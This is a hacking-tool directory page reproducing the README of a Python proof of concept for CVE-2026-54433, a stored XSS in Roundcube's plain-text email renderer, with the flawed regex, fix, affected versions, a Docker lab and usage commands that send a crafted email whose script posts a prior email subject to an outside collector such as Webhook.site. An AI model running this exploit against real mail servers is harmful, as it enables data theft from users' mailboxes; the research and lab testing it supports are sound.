Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-54433 — Configurable Python PoC for CVE-2026-54433, a stored XSS in Roundcube's plain-text email renderer. Generates crafted .eml, sends via SMTP, and validates impact in a Docker lab. | Kitploit
Tools/GitHubGitHub/aramosf/cve-2026-54433
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationWeb SecurityPenetration TestingPayload DevelopmentEmail SecurityLabs & Practice
GitHubaramosf/cve-2026-54433

CVE-2026-54433

Configurable Python PoC for CVE-2026-54433, a stored XSS in Roundcube's plain-text email renderer. Generates crafted .eml, sends via SMTP, and validates impact in a Docker lab.

1026 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-54433: Roundcube plain-text email stored XSS

Exploit execution demo

This repository contains a configurable Python proof of concept for CVE-2026-54433, a stored cross-site scripting vulnerability in Roundcube's plain-text email renderer. An unauthenticated sender can deliver a crafted text/plain message. When an authenticated Roundcube user opens or previews that message, attacker-controlled JavaScript executes in the Roundcube origin.

The PoC demonstrates concrete authenticated-session impact without collecting cookies or message bodies: it reads the subject of one older message and sends that value, the Roundcube origin, and the task name to an authorized collector as URL-encoded POST fields.

Warning

This is active exploit code. Use it only in a lab you own or against a system and mailbox you are explicitly authorized to test. The sending mode transmits a crafted email and may disclose one pre-existing subject to the collector. Use --generate-only for offline inspection.

Vulnerability summary

Roundcube converts addresses found in plain-text messages into clickable mailto: links. In affected versions, the optional query suffix was matched with :

\S+
root@kitploit:~
. '(\?\S+)?'

Because \S includes < and >, a string beginning like an email address could make the auto-link replacement consume an opening HTML tag while leaving the remainder to be interpreted as markup. This minimal form illustrates the primitive:

root@kitploit:~
[email protected]?]

The upstream fix restricts the query suffix so it cannot contain angle brackets or whitespace:

root@kitploit:~
. '(\?[^<>\s]+)?'

The vendor describes the issue as "zero-click" because no link click is required. Opening or previewing the email while authenticated is still the mail-client action that renders the payload.

Affected and fixed versions

Release lineStatus
Roundcube versions before 1.6.17Affected
Roundcube 1.6.17 and later 1.6.xFixed
Roundcube 1.7.0 and 1.7.1Affected
Roundcube 1.7.2 and laterFixed

The public fix commits are:

  • 1.7 line: 5477e979aae0317e111564bfc9971ba7707cc165
  • 1.6 line: 4c278f4868c67b163567cae3d74e58d872913459

Upgrade to Roundcube 1.6.17 / 1.7.2 or a newer supported release.

Preconditions and scope

  • The attacker needs a way to deliver email to the victim, but no Roundcube account, password, plugin access, or administrator access.
  • The message must be rendered by an affected Roundcube version as text/plain.
  • The victim must have an authenticated Roundcube session and open or preview the message.
  • No third-party Roundcube plugin is required.
  • The positive Docker test used Roundcube's default Elastic skin. The root primitive is in server-side plain-text conversion; other skins were not claimed as independently tested here.
  • Roundcube's "remote resources have been blocked" control did not stop the tested primitive: the hidden image uses a failing relative src to invoke onerror. A collector callback still requires browser network reachability.
  • Roundcube's session cookie is normally HttpOnly. This PoC does not attempt to read it. Its same-origin request automatically uses the authenticated session, and the separate-message subject is the impact proof.

The demonstrated result is authenticated JavaScript execution and read access to one earlier email subject. Account takeover, arbitrary message-body theft, and server-side code execution are not claimed by this repository.

PoC behavior

cve-2026-54433-poc.py is self-contained and uses only the Python standard library. It:

  1. builds a crafted ordinary RFC 5322 text/plain email;
  2. scans at most 50 lower UIDs in the current Roundcube mailbox by default;
  3. selects the first older subject not beginning with CVE-2026-54433;
  4. POSTs subject, origin, and task to /capture/<random-marker>;
  5. never reads cookies, credentials, message bodies, or attachments;
  6. optionally submits the email using plain SMTP, STARTTLS, or implicit TLS;
  7. optionally polls Webhook.site or a compatible JSON status endpoint.

The payload inserts the DOM comment:

root@kitploit:~
<!-- This is a BugBounty test; only one subject is copied as evidence -->

It also hides the auto-linked address fragment and broken-image indicator while showing the caller-supplied benign body.

Offline generation

Generate the email without making a network connection:

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector https://collector.example.test \
  --generate-only

This writes:

  • cve-2026-54433-trigger.eml
  • cve-2026-54433-evidence.json

Inspect the generated message before using the sending mode.

Authorized SMTP test with Webhook.site

The --collector value can be a Webhook.site UUID, capture URL, or #!/view/ URL. The script derives the capture and polling endpoints.

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Account access problem' \
  --body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
  --collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
  --smtp-host smtp.example.com \
  --smtp-port 587 \
  --smtp-security starttls \
  --smtp-user [email protected]

If SMTP_PASSWORD is absent, the script asks for the password without echoing or storing it. A differently named variable can be selected with --smtp-password-env NAME. Avoid --smtp-password on multi-user systems because command-line arguments may be visible in process listings or shell history.

The script asks for an explicit YES before sending. In non-interactive, already-authorized lab automation, pass --yes. It waits up to 24 hours for a callback by default; use --timeout SECONDS to change this.

For a non-Webhook.site collector, pass the capture base and optional JSON status endpoint:

root@kitploit:~
python3 cve-2026-54433-poc.py \
  --from [email protected] \
  --to [email protected] \
  --subject 'Authorized XSS test' \
  --collector https://collector.example.test \
  --poll-url https://collector.example.test/status \
  --smtp-host mail.example.test \
  --smtp-security starttls

The included collector.py implements the compatible /capture/<marker> and /status endpoints. It binds to loopback by default. Real HTTPS deployment and access control are intentionally left to the authorized tester.

Reproducible Docker lab

The lab has no published host ports and contains only synthetic messages. It uses the same Python PoC to generate the trigger, delivers both messages into a disposable Dovecot mailbox, signs in through a disposable headless browser, and records whether the injected handler read the previous subject.

Requirements: Docker, Python 3, OpenSSL, and jq.

Vulnerable test:

root@kitploit:~
./lab/run.sh

Fixed control:

root@kitploit:~
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh

For a video or live browser demonstration, run:

root@kitploit:~
./lab/demo.sh

It publishes Roundcube and the visual collector on loopback only. Open the two URLs printed by the script, show the initially empty collector, sign in using the printed synthetic credentials, click the trigger email, and return to the collector. The captured synthetic subject appears in an auto-refreshing table. Ctrl-C removes the disposable containers and network.

To record the browser interaction and a real Webhook.site callback, use the reproducible recorder. It requires Chrome, Xvfb, ffmpeg, Docker, and an authorized Webhook.site token supplied through the environment:

root@kitploit:~
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh

The resulting MP4 shows the visible Roundcube trigger row, an annotated mouse click, and Webhook.site displaying the received synthetic subject. The token is never stored in the source tree.

Recorded artifact: assets/CVE-2026-54433-webhook-demo.mp4

The recording includes a visible terminal panel showing the generate-only Python invocation, its payload-generation output, the Roundcube click, and the resulting Webhook.site request.

The visual demo also accepts COLLECTOR_URL and COLLECTOR_VIEW_URL; point both at an authorized Webhook.site token to show the real collector receiving the synthetic subject. Do not reuse a token containing unrelated requests.

Reproduced results

The end-to-end comparison was run on 2026-08-14 on x86-64 Linux with Docker:

ControlImage digestInjected handlerPrior subject sentResult
Roundcube 1.7.1 Apachesha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1feval(name) presentYes, URL-encoded POSTCONFIRMED
Roundcube 1.7.3 Apachesha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6Absent; markup escapedNo callbackNOT_CONFIRMED

Positive callback body (synthetic value, origin sanitized):

root@kitploit:~
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail

The structured, sanitized comparison is in docs/e2e-results.json.

Verify the publication tree

The offline check compiles the Python sources, generates a fresh .eml, and checks its MIME type, payload primitive, visible body, comment, and metadata:

root@kitploit:~
./verify.sh

Set RUN_DOCKER=1 to append both end-to-end Docker controls:

root@kitploit:~
RUN_DOCKER=1 ./verify.sh

Public exploit search snapshot

On 2026-08-14, targeted searches for CVE-2026-54433 on GitHub, Exploit-Database, and Packet Storm did not locate a validated, configurable mail-sending exploit with an end-to-end vulnerable/fixed comparison. Vendor and vulnerability-database entries, scanner-template discussions, and descriptive write-ups already existed. This is a dated search snapshot, not a claim that no other PoC can exist.

References

  • Roundcube security release announcement
  • NVD entry for CVE-2026-54433
  • Roundcube 1.7 fix commit
  • Roundcube 1.6 fix commit

Vulnerability discovery: Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR), as credited by Roundcube.

Research, impact validation, and exploit implementation: A. Ramos <[email protected]> (Twitter: @aramosf).

About

CVE-2026-54433 Roundcube plain-text email stored XSS PoC with bounded authenticated mailbox-subject evidence and a vulnerable/fixed Docker lab.

Download Tool